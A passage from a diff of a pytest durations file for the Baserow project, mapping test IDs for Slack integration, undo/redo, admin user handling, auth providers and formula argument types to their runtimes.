"tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db_with_unreachable_url": 0.08809162498801015, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db_with_url": 0.09282245801296085, + "tests/baserow/contrib/integrations/receivers/test_receivers.py::test_execute_integration_post_import_hooks_calls_after_import": 0.1659627500048373, + "tests/baserow/contrib/integrations/receivers/test_receivers.py::test_execute_integration_post_import_hooks_returns_early": 0.16140683402772993, + "tests/baserow/contrib/integrations/slack/test_slack_bot_integration_type.py::test_slack_bot_integration_creation": 0.09762245899764821, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_dispatch_slack_write_message_api_errors[channel_not_found-The channel #general was not found.]": 0.09672712499741465, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_dispatch_slack_write_message_api_errors[invalid_auth-Invalid bot user token.]": 0.09672783300629817, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_dispatch_slack_write_message_api_errors[no_text-The message text is missing.]": 0.09772041699034162, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_dispatch_slack_write_message_api_errors[not_in_channel-Your app has not been invited to channel #general.]": 0.09755733297788538, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_dispatch_slack_write_message_api_errors[rate_limited-Your app has sent too many requests in a short period of time.]": 0.09916366703691892, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_dispatch_slack_write_message_api_errors[some_unknown_error-An unknown error occurred while sending the message, the error code was: some_unknown_error]": 0.10258670797338709, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_dispatch_slack_write_message_basic": 0.09836545799043961, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_dispatch_slack_write_message_with_formulas": 0.15338062500813976, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_slack_write_message_create": 0.10246095899492502, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_slack_write_message_export_import": 0.15456933301175013, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_slack_write_message_formula_generator": 0.0974917919957079, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_slack_write_message_generate_schema": 0.1052724179753568, + "tests/baserow/contrib/integrations/slack/test_slack_write_message_service_type.py::test_slack_write_message_update": 0.09922562396968715, + "tests/baserow/core/actions/test_action_type.py::test_action_type_description_is_correct": 0.021313833014573902, + "tests/baserow/core/actions/test_application_actions.py::test_can_undo_create_application": 0.1066592919814866, "tests/baserow/core/actions/test_application_actions.py::test_can_undo_creating_application": 0.06596500500381808, - "tests/baserow/core/actions/test_application_actions.py::test_can_undo_delete_application": 0.15215933400031645, + "tests/baserow/core/actions/test_application_actions.py::test_can_undo_delete_application": 0.09876470902236179, "tests/baserow/core/actions/test_application_actions.py::test_can_undo_deleteing_application": 0.06677670999852126, - "tests/baserow/core/actions/test_application_actions.py::test_can_undo_duplicate_simple_application": 0.15187729199988098, - "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_create_application": 0.1544011670002874, + "tests/baserow/core/actions/test_application_actions.py::test_can_undo_duplicate_simple_application": 0.11782891597249545, + "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_create_application": 0.12170279197744094, "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_creating_application": 0.07279151199691114, - "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_delete_application": 0.1591599999992468, + "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_delete_application": 0.12666149900178425, "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_deleting_application": 0.07008453300295514, - "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_duplicate_simple_application": 0.15839029100061452, - "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_order_applications": 0.1570593349988485, - "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_update_application": 0.16097145899948373, + "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_duplicate_simple_application": 0.11940408399095759, + "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_order_applications": 0.13405312501708977, + "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_update_application": 0.12970033299643546, "tests/baserow/core/actions/test_application_actions.py::test_can_undo_redo_updating_application": 0.07362946700595785, - "tests/baserow/core/actions/test_application_actions.py::test_can_undo_update_application": 0.15555316700010735, + "tests/baserow/core/actions/test_application_actions.py::test_can_undo_update_application": 0.10859462499502115, "tests/baserow/core/actions/test_application_actions.py::test_can_undo_updating_application": 0.07061302599686314, "tests/baserow/core/actions/test_group_actions.py::test_can_undo_creating_group": 0.06293029800144723, - "tests/baserow/core/actions/test_group_actions.py::test_can_undo_creating_workspace": 0.14864749899879826, + "tests/baserow/core/actions/test_group_actions.py::test_can_undo_creating_workspace": 0.10658575102570467, "tests/baserow/core/actions/test_group_actions.py::test_can_undo_ordering_group": 0.07486563900238252, - "tests/baserow/core/actions/test_group_actions.py::test_can_undo_ordering_workspace": 0.15530970799954957, + "tests/baserow/core/actions/test_group_actions.py::test_can_undo_ordering_workspace": 0.11850512496312149, "tests/baserow/core/actions/test_group_actions.py::test_can_undo_redo_creating_group": 0.07184306599810952, - "tests/baserow/core/actions/test_group_actions.py::test_can_undo_redo_creating_workspace": 0.16262462499889807, + "tests/baserow/core/actions/test_group_actions.py::test_can_undo_redo_creating_workspace": 0.13581579097080976, "tests/baserow/core/actions/test_group_actions.py::test_can_undo_redo_ordering_group": 0.07495948299765587, - "tests/baserow/core/actions/test_group_actions.py::test_can_undo_redo_ordering_workspace": 0.16083908299970062, + "tests/baserow/core/actions/test_group_actions.py::test_can_undo_redo_ordering_workspace": 0.12348029200802557, "tests/baserow/core/actions/test_group_actions.py::test_can_undo_updating_group": 0.06596934199842508, - "tests/baserow/core/actions/test_group_actions.py::test_can_undo_updating_workspace": 0.1492801669992332, - "tests/baserow/core/actions/test_group_actions.py::test_leave_workspace": 0.2733430000007502, - "tests/baserow/core/actions/test_group_invitation_actions.py::test_accept_workspace_invitation_action_type": 0.2760779169993839, - "tests/baserow/core/actions/test_group_invitation_actions.py::test_create_workspace_invitation_action_type": 0.14796174999992218, - "tests/baserow/core/actions/test_group_invitation_actions.py::test_delete_workspace_invitation_action_type": 0.14085087499915971, - "tests/baserow/core/actions/test_group_invitation_actions.py::test_reject_workspace_invitation_action_type": 0.2784021669986032, - "tests/baserow/core/actions/test_group_invitation_actions.py::test_update_workspace_invitation_action_type": 0.1420603750002556, - "tests/baserow/core/actions/test_template_actions.py::test_can_undo_redo_install_template": 0.41046825000103127, - "tests/baserow/core/actions/test_undo_redo.py::test_actions_which_were_updated_less_than_configured_limit_ago_not_cleaned_up": 0.35690874999909283, - "tests/baserow/core/actions/test_undo_redo.py::test_cleanup_does_extra_cleanup_for_actions_implementing_it": 0.7277856259988766, - "tests/baserow/core/actions/test_undo_redo.py::test_cleanup_doesnt_do_n_queries_per_action_when_they_have_no_custom_cleanup": 0.7576775420002377, - "tests/baserow/core/actions/test_undo_redo.py::test_custom_cleanup_failing_doesnt_rollback_other_successful_cleanups": 0.6782203750008193, - "tests/baserow/core/actions/test_undo_redo.py::test_redoing_action_with_matching_session_and_category_redoes": 0.17527612499907264, - "tests/baserow/core/actions/test_undo_redo.py::test_redoing_action_with_matching_session_and_not_matching_category_doesnt_redo": 0.15227841700016143, - "tests/baserow/core/actions/test_undo_redo.py::test_redoing_action_with_not_matching_session_and_matching_category_doesnt_redo": 0.14957554199918377, - "tests/baserow/core/actions/test_undo_redo.py::test_redoing_action_with_not_matching_session_and_not_matching_category_doesnt_redo": 0.14760587499858957, - "tests/baserow/core/actions/test_undo_redo.py::test_redoing_multiple_actions_in_a_single_redo_operation": 0.17006300000139163, - "tests/baserow/core/actions/test_undo_redo.py::test_redoing_multiple_actions_is_limited_in_a_single_undo_operation": 0.18246025000007648, - "tests/baserow/core/actions/test_undo_redo.py::test_redoing_with_multiple_sessions_redoes_only_in_provided_session": 0.17149433400027192, - "tests/baserow/core/actions/test_undo_redo.py::test_redoing_with_multiple_users_redoes_only_in_the_own_users_actions": 0.29971691599985206, - "tests/baserow/core/actions/test_undo_redo.py::test_undo_redo_action_group_with_interleaved_actions": 0.374184125001193, - "tests/baserow/core/actions/test_undo_redo.py::test_undoing_action_with_matching_session_and_category_undoes": 0.1556207510011518, - "tests/baserow/core/actions/test_undo_redo.py::test_undoing_action_with_matching_session_and_not_matching_category_does_nothing": 0.14878841700010526, - "tests/baserow/core/actions/test_undo_redo.py::test_undoing_action_with_not_matching_session_and_matching_category_does_nothing": 0.15023820799979148, - "tests/baserow/core/actions/test_undo_redo.py::test_undoing_action_with_not_matching_session_and_not_matching_category_does_nothing": 0.1500627080004051, - "tests/baserow/core/actions/test_undo_redo.py::test_undoing_multiple_actions_in_a_single_undo_operation": 0.15614995899977657, - "tests/baserow/core/actions/test_undo_redo.py::test_undoing_multiple_actions_is_limited_in_a_single_undo_operation": 0.1575795830003699, - "tests/baserow/core/actions/test_undo_redo.py::test_undoing_with_multiple_sessions_undoes_only_in_provided_session": 0.15235608300008607, - "tests/baserow/core/actions/test_undo_redo.py::test_undoing_with_multiple_users_undoes_only_in_the_own_users_actions": 0.2817692509997869, - "tests/baserow/core/actions/test_undo_redo.py::test_when_redo_fails_the_action_is_rolled_back": 0.16224020899971947, - "tests/baserow/core/actions/test_undo_redo.py::test_when_undo_fails_can_try_redo_undo_to_try_again": 0.30198187499991036, - "tests/baserow/core/actions/test_undo_redo.py::test_when_undo_fails_can_try_undo_next_action": 0.1600071669990939, - "tests/baserow/core/actions/test_undo_redo.py::test_when_undo_fails_in_action_group_can_try_redo_undo_to_try_again": 0.31858487600038643, - "tests/baserow/core/actions/test_undo_redo.py::test_when_undo_fails_the_action_group_is_rolled_back": 0.16012808399955247, - "tests/baserow/core/actions/test_undo_redo.py::test_when_undo_fails_the_action_is_rolled_back": 0.15275841599941486, - "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_create_app_auth_provider[local_baserow_password]": 0.1417677490007918, - "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_delete_app_auth_provider": 0.14290362499923503, - "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_export_app_auth_provider": 0.14106070699926931, - "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_get_app_auth_provider": 0.14230162400053814, - "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_get_app_auth_provider_does_not_exist": 0.14537070900132676, - "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_get_app_auth_providers": 0.1451733330004572, - "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_import_app_auth_provider": 0.1405237919989304, - "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_import_app_auth_provider_with_migrated_user_source": 0.14291087500077992, - "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_update_app_auth_provider": 0.14057279200005723, - "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_update_app_auth_provider_invalid_values": 0.14229862400043203, - "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_max_file_size": 0.0092402909995144, - "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_delete_files": 0.00874445800036483, - "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_delete_files_error": 0.00879091599927051, - "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_is_file_compatible": 0.009340458002043306, - "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_prompt_with_files": 0.011884000001373352, - "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_prompt_with_files_error": 0.009582874001353048, - "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_upload_file": 0.009438082999622566, - "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_upload_file_error": 0.008966915998826153, - "tests/baserow/core/health/test_custom_health_checks.py::test_debug_health_check_does_not_raise_when_debug_false": 0.009819375998631585, - "tests/baserow/core/health/test_custom_health_checks.py::test_debug_health_check_raises_when_debug_true": 0.00907737499983341, - "tests/baserow/core/health/test_custom_health_checks.py::test_heroku_health_check_doesnt_raise_when_boto_set": 0.009551291999741807, - "tests/baserow/core/health/test_custom_health_checks.py::test_heroku_health_check_raises_when_default_storage_set": 0.009848042000157875, - "tests/baserow/core/integrations/test_integration_handler.py::test_create_integration[local_baserow]": 0.14486112400027196, - "tests/baserow/core/integrations/test_integration_handler.py::test_create_integration_bad_application": 0.14273516699995525, - "tests/baserow/core/integrations/test_integration_handler.py::test_delete_integration": 0.1416857500007609, - "tests/baserow/core/integrations/test_integration_handler.py::test_get_integration": 0.14350116700006765, - "tests/baserow/core/integrations/test_integration_handler.py::test_get_integration_does_not_exist": 0.009954123999705189, - "tests/baserow/core/integrations/test_integration_handler.py::test_get_integrations": 0.39951758300048823, - "tests/baserow/core/integrations/test_integration_handler.py::test_move_integration_before": 0.3986294180012919, - "tests/baserow/core/integrations/test_integration_handler.py::test_move_integration_before_fails": 0.40270937500008586, - "tests/baserow/core/integrations/test_integration_handler.py::test_move_integration_end_of_application": 0.40005024899983255, - "tests/baserow/core/integrations/test_integration_handler.py::test_recalculate_full_orders": 1.3091739579995192, - "tests/baserow/core/integrations/test_integration_handler.py::test_update_integration": 0.2710937510000804, - "tests/baserow/core/integrations/test_integration_handler.py::test_update_integration_invalid_values": 0.14356033399963053, - "tests/baserow/core/integrations/test_integration_service.py::test_create_integration[local_baserow]": 0.39924737399996957, - "tests/baserow/core/integrations/test_integration_service.py::test_create_integration_before": 0.40176746000088315, - "tests/baserow/core/integrations/test_integration_service.py::test_create_integration_permission_denied": 0.14415979200020956, - "tests/baserow/core/integrations/test_integration_service.py::test_delete_integration": 0.15002404199913144, - "tests/baserow/core/integrations/test_integration_service.py::test_delete_integration_permission_denied": 0.31080462399950193, - "tests/baserow/core/integrations/test_integration_service.py::test_get_integration": 0.14903079200030334, - "tests/baserow/core/integrations/test_integration_service.py::test_get_integration_does_not_exist": 0.14574329200058855, - "tests/baserow/core/integrations/test_integration_service.py::test_get_integration_permission_denied": 0.1523004159989796, - "tests/baserow/core/integrations/test_integration_service.py::test_get_integrations": 0.5597992919992976, - "tests/baserow/core/integrations/test_integration_service.py::test_get_unique_orders_before_integration_triggering_full_application_order_reset": 0.6719854990005842, - "tests/baserow/core/integrations/test_integration_service.py::test_move_integration": 0.5375805419998869, - "tests/baserow/core/integrations/test_integration_service.py::test_move_integration_not_same_application": 0.5292990829984774, - "tests/baserow/core/integrations/test_integration_service.py::test_move_integration_permission_denied": 0.5348540430004505, + "tests/baserow/core/actions/test_group_actions.py::test_can_undo_updating_workspace": 0.11307816600310616, + "tests/baserow/core/actions/test_group_actions.py::test_leave_workspace": 0.1668298749718815, + "tests/baserow/core/actions/test_group_invitation_actions.py::test_accept_workspace_invitation_action_type": 0.17408433396485634, + "tests/baserow/core/actions/test_group_invitation_actions.py::test_create_workspace_invitation_action_type": 0.10204041702672839, + "tests/baserow/core/actions/test_group_invitation_actions.py::test_delete_workspace_invitation_action_type": 0.1014839590061456, + "tests/baserow/core/actions/test_group_invitation_actions.py::test_reject_workspace_invitation_action_type": 0.17212158502661623, + "tests/baserow/core/actions/test_group_invitation_actions.py::test_update_workspace_invitation_action_type": 0.0965504590421915, + "tests/baserow/core/actions/test_template_actions.py::test_can_undo_redo_install_template": 0.28920812500291504, + "tests/baserow/core/actions/test_undo_redo.py::test_actions_which_were_updated_less_than_configured_limit_ago_not_cleaned_up": 0.3927865430014208, + "tests/baserow/core/actions/test_undo_redo.py::test_cleanup_does_extra_cleanup_for_actions_implementing_it": 0.569327124976553, + "tests/baserow/core/actions/test_undo_redo.py::test_cleanup_doesnt_do_n_queries_per_action_when_they_have_no_custom_cleanup": 0.3706129170022905, + "tests/baserow/core/actions/test_undo_redo.py::test_custom_cleanup_failing_doesnt_rollback_other_successful_cleanups": 0.6783592500141822, + "tests/baserow/core/actions/test_undo_redo.py::test_redoing_action_with_matching_session_and_category_redoes": 0.12846170799457468, + "tests/baserow/core/actions/test_undo_redo.py::test_redoing_action_with_matching_session_and_not_matching_category_doesnt_redo": 0.1136409159807954, + "tests/baserow/core/actions/test_undo_redo.py::test_redoing_action_with_not_matching_session_and_matching_category_doesnt_redo": 0.1128989580029156, + "tests/baserow/core/actions/test_undo_redo.py::test_redoing_action_with_not_matching_session_and_not_matching_category_doesnt_redo": 0.11300041701178998, + "tests/baserow/core/actions/test_undo_redo.py::test_redoing_multiple_actions_in_a_single_redo_operation": 0.15697724901838228, + "tests/baserow/core/actions/test_undo_redo.py::test_redoing_multiple_actions_is_limited_in_a_single_undo_operation": 0.15885862600407563, + "tests/baserow/core/actions/test_undo_redo.py::test_redoing_with_multiple_sessions_redoes_only_in_provided_session": 0.14549683398217894, + "tests/baserow/core/actions/test_undo_redo.py::test_redoing_with_multiple_users_redoes_only_in_the_own_users_actions": 0.2171011680038646, + "tests/baserow/core/actions/test_undo_redo.py::test_undo_redo_action_group_with_interleaved_actions": 0.3100254579912871, + "tests/baserow/core/actions/test_undo_redo.py::test_undoing_action_with_matching_session_and_category_undoes": 0.10490624999511056, + "tests/baserow/core/actions/test_undo_redo.py::test_undoing_action_with_matching_session_and_not_matching_category_does_nothing": 0.09691708401078358, + "tests/baserow/core/actions/test_undo_redo.py::test_undoing_action_with_not_matching_session_and_matching_category_does_nothing": 0.09750770896789618, + "tests/baserow/core/actions/test_undo_redo.py::test_undoing_action_with_not_matching_session_and_not_matching_category_does_nothing": 0.0973211259697564, + "tests/baserow/core/actions/test_undo_redo.py::test_undoing_multiple_actions_in_a_single_undo_operation": 0.12824337498750538, + "tests/baserow/core/actions/test_undo_redo.py::test_undoing_multiple_actions_is_limited_in_a_single_undo_operation": 0.12242133298423141, + "tests/baserow/core/actions/test_undo_redo.py::test_undoing_with_multiple_sessions_undoes_only_in_provided_session": 0.12083520699525252, + "tests/baserow/core/actions/test_undo_redo.py::test_undoing_with_multiple_users_undoes_only_in_the_own_users_actions": 0.18647866696119308, + "tests/baserow/core/actions/test_undo_redo.py::test_when_redo_fails_the_action_is_rolled_back": 0.14240920802694745, + "tests/baserow/core/actions/test_undo_redo.py::test_when_undo_fails_can_try_redo_undo_to_try_again": 0.22463650099234655, + "tests/baserow/core/actions/test_undo_redo.py::test_when_undo_fails_can_try_undo_next_action": 0.12983249998069368, + "tests/baserow/core/actions/test_undo_redo.py::test_when_undo_fails_in_action_group_can_try_redo_undo_to_try_again": 0.25985579198459163, + "tests/baserow/core/actions/test_undo_redo.py::test_when_undo_fails_the_action_group_is_rolled_back": 0.12458020803751424, + "tests/baserow/core/actions/test_undo_redo.py::test_when_undo_fails_the_action_is_rolled_back": 0.11524375001317821, + "tests/baserow/core/admin/dashboard/test_admin_dashboard_handler.py::test_get_active_user_counts": 0.26757395797176287, + "tests/baserow/core/admin/dashboard/test_admin_dashboard_handler.py::test_get_active_users_per_day": 0.24352637500851415, + "tests/baserow/core/admin/dashboard/test_admin_dashboard_handler.py::test_get_new_user_counts": 1.1445225419884082, + "tests/baserow/core/admin/dashboard/test_admin_dashboard_handler.py::test_get_new_users_per_day": 0.5866615419799928, + "tests/baserow/core/admin/groups/test_groups_admin_handler.py::test_cant_delete_template_workspace": 0.11784395901486278, + "tests/baserow/core/admin/groups/test_groups_admin_handler.py::test_delete_workspace": 0.3187174570048228, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_admin_can_deactive_and_unstaff_other_users": 0.23234420796507038, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_admin_can_delete_user": 0.18735912401461974, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_admin_can_modify_allowed_user_attributes": 0.2287899589864537, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_admin_cant_deactivate_themselves": 0.08676487600314431, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_admin_cant_delete_themselves": 0.08593429101165384, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_admin_cant_destaff_themselves": 0.08662991700111888, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_create_user": 0.22840120797627605, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_create_user_as_non_admin": 0.08670995899592526, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_create_user_that_already_exists": 0.09186066797701642, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_create_user_with_invalid_password": 0.0878849999862723, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_does_not_raise_exception_when_changing_to_same_username": 0.08634341601282358, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_non_admin_cant_delete_user": 0.08523495800909586, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_non_admin_cant_edit_user": 0.0873446669720579, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_raises_exception_when_changing_to_an_existing_user": 0.1572808330238331, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_raises_exception_when_deleting_an_unknown_user": 0.08506404201034456, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_raises_exception_when_updating_an_unknown_user": 0.08606566701200791, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_updating_a_users_password_uses_djangos_built_in_smart_set_password": 0.2262603749986738, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_updating_a_users_password_with_invalid_password_raises_error[984kds]": 0.22201179203693755, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_updating_a_users_password_with_invalid_password_raises_error[Bgvmt95en6HGJZ9Xz0F8xysQ6eYgo2Y54YzRPxxv10b5n16F4rZ6YH4ulonocwiFK6970KiAxoYhULYA3JFDPIQGj5gMZZl25M46sO810Zd3nyBg699a2TDMJdHG7hAAi0YeDnuHuabyBawnb4962OQ1OOf1MxzFyNWG7NR2X6MZQL5G1V61x56lQTXbvK1AG1IPM87bQ3YAtIBtGT2vK3Wd83q3he5ezMtUfzK2ibj0WWhf86DyQB4EHRUJjYcBiI78iEJv5hcu33X2I345YosO66cTBWK45SqJEDudrCOq]": 0.22727154099266045, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_updating_a_users_password_with_invalid_password_raises_error[]": 0.22462745898519643, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_updating_a_users_password_with_invalid_password_raises_error[a]": 0.2249337930115871, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_updating_a_users_password_with_invalid_password_raises_error[ab]": 0.22519766699406318, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_updating_a_users_password_with_invalid_password_raises_error[ask]": 0.22640275000594556, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_updating_a_users_password_with_invalid_password_raises_error[dsfkjh4]": 0.22723125098855235, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_updating_a_users_password_with_invalid_password_raises_error[dsj43]": 0.2322676670155488, + "tests/baserow/core/admin/users/test_user_admin_handler.py::test_updating_a_users_password_with_invalid_password_raises_error[oiue]": 0.22478200000477955, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_create_app_auth_provider[local_baserow_password]": 0.09870604198658839, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_create_app_auth_provider[openid_connect]": 0.09673350001685321, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_create_app_auth_provider[saml]": 0.09855212602997199, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_delete_app_auth_provider": 0.09694262497941963, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_export_app_auth_provider": 0.09805833303835243, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_get_app_auth_provider": 0.09483845796785317, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_get_app_auth_provider_does_not_exist": 0.09722325098118745, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_get_app_auth_providers": 0.09840612401603721, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_import_app_auth_provider": 0.09628662499017082, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_import_app_auth_provider_with_migrated_user_source": 0.09610087602050044, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_update_app_auth_provider": 0.09577395801898092, + "tests/baserow/core/app_auth_providers/test_app_auth_handler.py::test_update_app_auth_provider_invalid_values": 0.09668766701361164, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_parse_method[2025-12-31 14:22-expected1]": 0.014080500026466325, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_parse_method[2025-12-31 14:22:11-expected2]": 0.01328308301162906, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_parse_method[2025-12-31-expected0]": 0.013042042002780363, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_parse_method[None-None]": 0.013770083984127268, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_parse_method[value3-expected3]": 0.012735874974168837, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_parse_method[value4-expected4]": 0.014246164995711297, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[-5-False]": 0.014383376023033634, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[-5.5-False0]": 0.014348998985951766, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[-5.5-False1]": 0.014651289966423064, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[-False]": 0.014465792017290369, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[0-False]": 0.01401799899758771, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[10-False0]": 0.01492950096144341, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[10-False1]": 0.018141374981496483, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[16.25-False0]": 0.013872584007913247, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[16.25-False1]": 0.01391433400567621, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[2025-12-31 14:22-True]": 0.01273804102675058, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[2025-12-31 14:22:11-True]": 0.012696790974587202, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[2025-12-31-True]": 0.012622832990018651, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[31-12-2025 14:22:11-False]": 0.01371191701036878, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[None-True]": 0.014833333989372477, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[value16-False]": 0.01393208300578408, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[value17-False]": 0.014483916980680078, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[value3-True]": 0.014219458011211827, + "tests/baserow/core/formula/test_argument_types.py::test_datetime_test_method[value4-True]": 0.01286041596904397, + "tests/baserow/core/formula/test_argument_types.py::test_dict_parse_method[value0-expected0]": 0.01275499997427687, + "tests/baserow/core/formula/test_argument_types.py::test_dict_parse_method[value2-expected2]": 0.01269183200201951, + "tests/baserow/core/formula/test_argument_types.py::test_dict_parse_method[{\"foo\": \"bar\"}-expected1]": 0.012811333988793194, + "tests/baserow/core/formula/test_argument_types.py::test_dict_test_method[-False]": 0.013052082998910919, + "tests/baserow/core/formula/test_argument_types.py::test_dict_test_method[0-False]": 0.013105833029840142, + "tests/baserow/core/formula/test_argument_types.py::test_dict_test_method[100-False]": 0.01577600001473911, + "tests/baserow/core/formula/test_argument_types.py::test_dict_test_method[None-False]": 0.012864290998550132, + "tests/baserow/core/formula/test_argument_types.py::test_dict_test_method[foo-False]": 0.012897250009700656, + "tests/baserow/core/formula/test_argument_types.py::test_dict_test_method[value0-True]": 0.014482041995506734, + "tests/baserow/core/formula/test_argument_types.py::test_dict_test_method[value5-False]": 0.013178875989979133, + "tests/baserow/core/formula/test_argument_types.py::test_dict_test_method[{\"foo\": \"bar\"}-True]": 0.01377016698825173, + "tests/baserow/core/formula/test_argument_types.py::test_dict_test_method[{'foo': 'bar'}-False]": 0.013363667007070035, + "tests/baserow/core/formula/test_argument_types.py::test_dict_test_method[{}-True]": 0.014056416985113174, + "tests/baserow/core/formula/test_argument_types.py::test_number_parse_method[-5--5_0]": 0.012669374962570146, + "tests/baserow/core/formula/test_argument_types.py::test_number_parse_method[-5--5_1]": 0.012896416010335088, + "tests/baserow/core/formula/test_argument_types.py::test_number_parse_method[0-0_0]": 0.013046375010162592, + "tests/baserow/core/formula/test_argument_types.py::test_number_parse_method[0-0_1]": 0.012871750019257888, + "tests/baserow/core/formula/test_argument_types.py::test_number_parse_method[15.6-15.6_0]": 0.012881624978035688, + "tests/baserow/core/formula/test_argument_types.py::test_number_parse_method[15.6-15.6_1]": 0.012754748953739181, + "tests/baserow/core/formula/test_argument_types.py::test_number_test_method[ 1 -False]": 0.012612582999281585, + "tests/baserow/core/formula/test_argument_types.py::test_number_test_method[-5-True]": 0.012860751012340188, + "tests/baserow/core/formula/test_argument_types.py::test_number_test_method[-5.5-True0]": 0.012600374990142882, + "tests/baserow/core/formula/test_argument_types.py::test_number_test_method[-5.5-True1]": 0.012974999990547076, + "tests/baserow/core/formula/test_argument_types.py::test_number_test_method[-False]": 0.012871749990154058, + "tests/baserow/core/formula/test_argument_types.py::test_number_test_method[0-True]": 0.012814542016712949, + "tests/baserow/core/formula/test_argument_types.py::test_number_test_method[10-True0]": 0.012871875951532274, + "tests/baserow/core/formula/test_argument_types.py::test_number_test_method[10-True1]": 0.012684250017628074, + "tests/baserow/core/formula/test_argument_types.py::test_number_test_method[16.25-True0]": 